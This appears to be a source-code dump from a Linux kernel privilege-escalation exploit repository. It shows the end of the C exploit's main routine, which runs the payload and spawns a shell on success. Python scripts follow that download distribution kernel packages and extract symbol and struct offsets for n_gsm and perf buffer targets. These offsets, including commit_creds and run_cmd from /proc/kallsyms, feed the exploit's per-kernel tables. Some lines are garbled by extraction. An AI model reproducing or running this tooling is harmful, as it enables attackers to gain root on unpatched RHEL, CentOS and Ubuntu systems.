1096 | 1097 | int main(int argc, const char *argv[]) 1098 | { 1099 | int i; 1100 | 1101 | if (argv[1] && strstr(argv[1], "rhel")) 1102 | kernel_table = kernels_rhel; 1103 | if (argv[1] && strstr(argv[1], "centos")) 1104 | kernel_table = kernels_centos; 1105 | if (argv[1] && strstr(argv[1], "ubuntu")) 1106 | kernel_table = kernels_ubuntu; 1107 | if (!kernel_table) { 1108 | printf("USAGE: ./exploit \n"); 1109 | return 0; 1110 | } 1111 | 1112 | for(i = 0; i < EXPLOIT_TRIES; i++) 1113 | { 1114 | notice("Attempt %d/%d", i + 1, EXPLOIT_TRIES); 1115 | do_sploit(); 1116 | if(check_win()) 1117 | { 1118 | notice("Payload ran correctly, spawning shell"); 1119 | spawn_shell(); 1120 | } 1121 | else 1122 | { 1123 | info("Payload failed to run"); 1124 | } 1125 | } 1126 | 1127 | return 0; 1128 | } 1129 | -------------------------------------------------------------------------------- /symbols/download_pkgs_rhel.py: -------------------------------------------------------------------------------- 1 | #!/usr/libexec/platform-python 2 | 3 | # Run this on an RHEL system with an active subscription to download kernel packages to ./pkgs 4 | 5 | import os 6 | import re 7 | 8 | data = os.popen("yum --showduplicate list kernel").read() 9 | 10 | kerns = [] 11 | 12 | for l in data.splitlines(): 13 | if "kernel.x86_64" not in l: continue 14 | l = l.split() 15 | ver = l[1] 16 | 17 | kern = "kernel-core-" + ver + ".x86_64" 18 | kerns.append(kern) 19 | 20 | 21 | for kern in kerns: 22 | os.system("yes|yum --downloadonly install " + kern) 23 | os.system("yes|yum --downloadonly reinstall " + kern) 24 | 25 | 26 | os.system("mkdir pkgs") 27 | os.system("cp `find /var/cache/dnf -name 'kernel-core*'` pkgs/") 28 | -------------------------------------------------------------------------------- /symbols/download_pkgs_ubuntu_centos.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # script to download debug packages of the relevant kernels 4 | 5 | import re 6 | import os 7 | 8 | BASEURL_UB = "http://ddebs.ubuntu.com/ubuntu/pool/main/l/linux" 9 | #BASEURL_CO = "http://mirror.centos.org/centos/" 10 | 11 | # some kernels are gone from the official repo for whatever reason 12 | BASEURL_CO = "http://mirrors.oit.uci.edu/centos/" 13 | 14 | 15 | os.system("rm -rf tmp;wget -c -O tmp -- '%s' 2>/dev/null" % BASEURL_CO) 16 | 17 | data = open("tmp").read() 18 | 19 | urls = [] 20 | 21 | rels = re.findall('/dev/null" % url) 27 | data = open("tmp").read() 28 | pkgs = re.findall('/dev/null" % BASEURL_UB) 36 | 37 | data = open("linux").read() 38 | 39 | pkgs = re.findall(">(linux-image-unsigned-4\\.(?:18|15).0-.*?-generic-dbgsym_.*?_amd64.ddeb)", data) 40 | pkgs += re.findall(">(linux-image-unsigned-5\\.(?:0|3|4)\\..*?-generic-dbgsym_.*?_amd64.ddeb)", data) 41 | 42 | for pkg in pkgs: 43 | os.system("wget -c -- '%s/%s'" % (BASEURL_UB, pkg)) 44 | 45 | os.unlink("linux") 46 | -------------------------------------------------------------------------------- /symbols/extract_syms_redhat.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import glob 4 | import os 5 | import re 6 | import struct 7 | 8 | def natsort(l): 9 | conv = lambda text: int(text) if text.isdigit() else text.lower() 10 | alnum_key = lambda key: [conv(c) for c in re.split(r'(\d+)', key)] 11 | return sorted(l, key=alnum_key, reverse=True) 12 | 13 | 14 | # kernel-core-4.18.0-147.0.3.el8_1.x86_64.rpm 15 | def centos(): 16 | vers = [] 17 | for fn in natsort(glob.glob("kernel-core-*.rpm")): 18 | m = re.findall(r"kernel-core-(.*?\.x86_64)\.rpm", fn) 19 | 20 | ver = m[0] 21 | 22 | if ver in vers: raise "Dupes?" 23 | vers.append(ver) 24 | 25 | data = os.popen("rpm2cpio %s 2>/dev/null|cpio -i --to-stdout ./lib/modules/%s/System.map 2>/dev/null" % (fn, ver)).read() 26 | 27 | syms = {} 28 | for l in data.splitlines(): 29 | addr, type, name = l.split() 30 | syms[name] = int(addr, 16) 31 | 32 | if "_text" not in syms: 33 | continue 34 | 35 | t = syms["_text"] 36 | a = syms["hypercall_page"] - t 37 | b = syms["run_cmd"] - t 38 | c = syms["kernfs_pr_cont_buf"] - t 39 | d = syms["__rb_free_aux"] - t 40 | e = syms["kmem_cache_size"] - t 41 | 42 | if b & 0xff == 0: b += 5 43 | if d & 0xff == 0: d += 5 44 | 45 | assert "\x00" not in struct.pack(":\t0xfc\n0xffffffff811e3ac0 <__rb_free_aux>:\t0xe8\n0xffffffff8121dbc0 :\t0xe8\n0xffffffff8245b160 :\t0x04\n0xffffffff810b6540 :\t0xe8\n' 32 | 33 | m = re.findall("0x([0-9a-f]+) <(.*?)>:", data) 34 | 35 | symoffs = {} 36 | 37 | for k, v in m: 38 | symoffs[v] = int(k, 16) - 0xffffffff81000000 39 | 40 | # avoid nullbytes in these 41 | if v in ("run_cmd", "__rb_free_aux") and symoffs[v] & 0xff == 0: symoffs[v] += 5 42 | 43 | # check that the string addr won't have a nullbyte 44 | assert ((symoffs["kernfs_pr_cont_buf"] + 224 + 8) & 0xff) != 0 45 | 46 | 47 | ret = '\t{"%s", ' % ver 48 | x = ["0x%.8x" % symoffs[s] for s in symbols] 49 | ret += ", ".join(x) 50 | ret += "},\n" 51 | 52 | return ret 53 | 54 | def check_struct_offsets(structs): 55 | s = structs["gsm_mux"] 56 | 57 | assert s["output"][0] == 144 58 | assert s["encoding"][0] == 108 59 | 60 | s = structs["gsm_dlci"] 61 | 62 | assert s["gsm"][0] == 0 63 | assert s["timer_list"][0] == 56 64 | 65 | # name changed in some newer 5.x kernels 66 | if "ring_buffer" in structs: 67 | s = structs["ring_buffer"] 68 | else: 69 | s = structs["perf_buffer"] 70 | 71 | assert s["free_aux"][0] == 200 72 | assert s["aux_priv"][0] == 224 73 | 74 | 75 | 76 | def parse_structs(data): 77 | curstruct = None 78 | curname = None 79 | structs = {} 80 | 81 | for l in data.splitlines(): 82 | start = re.findall("type = struct (.*?) {", l) 83 | 84 | if start: 85 | if curstruct: 86 | structs[curname] = curstruct 87 | curname = start[0] 88 | curstruct = {} 89 | continue 90 | 91 | m = re.findall(r"/\*[ ]+(.*?) .*?\|[ ]+(.*?) .*?\*/ [a-zA-Z]", l) 92 | if not m: continue 93 | offset, size = m[0] 94 | offset = int(offset) 95 | size = int(size) 96 | if "(*" in l: 97 | name = re.findall(r"\(*([a-zA-Z0-9_]+)\)\(", l)[0] 98 | else: 99 | l = l.split() 100 | 101 | if l[-1] == "{": 102 | name = l[-2] 103 | else: 104 | name = re.findall("[a-zA-Z0-9_]+", l[-1]) 105 | name = name[0] 106 | 107 | curstruct[name] = (offset, size) 108 | 109 | structs[curname] = curstruct 110 | 111 | return structs 112 | 113 | 114 | 115 | def natsort(l): 116 | conv = lambda text: int(text) if text.isdigit() else text.lower() 117 | alnum_key = lambda key: [conv(c) for c in re.split(r'(\d+)', key)] 118 | return sorted(l, key=alnum_key, reverse=True) 119 | 120 | fns = glob.glob("*.ddeb") 121 | fns = natsort(fns) 122 | 123 | out = "" 124 | 125 | for i, fn in enumerate(fns): 126 | 127 | os.system("rm -rf tmp; mkdir tmp") 128 | os.chdir("tmp") 129 | 130 | print "Checking %s (%u/%u)" % (fn, i+1, len(fns)) 131 | 132 | # linux-image-unsigned-4.18.0-19-generic-dbgsym_4.18.0-19.20_amd64.ddeb 133 | ver = re.findall("linux-image-unsigned-(.*)-dbgsym", fn)[0] 134 | 135 | # no need to check data.tar., they are all xz now 136 | p1 = "./usr/lib/debug/lib/modules/%s/kernel/drivers/tty/n_gsm.ko" % ver 137 | p2 = "./usr/lib/debug/boot/vmlinux-%s" % ver 138 | 139 | os.system("ar p '../%s' data.tar.xz|tar Jxf - %s %s" % (fn, p1, p2)) 140 | 141 | try: 142 | structs = get_structs(p1, ("gsm_dlci", "gsm_mux")) 143 | structs += get_structs(p2, ("ring_buffer", )) 144 | structs += get_structs(p2, ("perf_buffer", )) 145 | 146 | structs = parse_structs(structs) 147 | 148 | check_struct_offsets(structs) 149 | 150 | except: 151 | print "FAIL", fn 152 | os.chdir("..") 153 | 154 | continue 155 | 156 | 157 | out += get_offsets(ver, p2, ("xen_hypercall_set_trap_table", "run_cmd", "kernfs_pr_cont_buf", "__rb_free_aux", "kmem_cache_size")) 158 | 159 | os.chdir("..") 160 | 161 | 162 | print out 163 | -------------------------------------------------------------------------------- /symbols/kallsyms.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | # script to get symbols from kallsyms 4 | 5 | ls = open("/proc/kallsyms").readlines() 6 | 7 | addrs = {} 8 | 9 | for l in ls: 10 | l = l.split() 11 | l = l[:3] 12 | addr, type, name = l 13 | addrs[name] = int(addr, 16) 14 | 15 | 16 | hm = [] 17 | for s in ("hypercall_page", "run_cmd", "kernfs_pr_cont_buf", "__rb_free_aux", "kmem_cache_size", "commit_creds", "init_cred"): 18 | addr = 0 19 | if s in addrs: 20 | addr = addrs[s] - addrs["_text"] 21 | if addr & 0xff == 0 and s in ("run_cmd", "__rb_free_aux", "commit_creds"): addr += 5 22 | hm.append(addr) 23 | 24 | out = "\t{" 25 | out += '"%s", ' % os.popen("uname -r").read().strip() 26 | out += ", ".join(["0x%lx" % x for x in hm]) 27 | 28 | out += "}," 29 | 30 | print(out) 31 | 32 | --------------------------------------------------------------------------------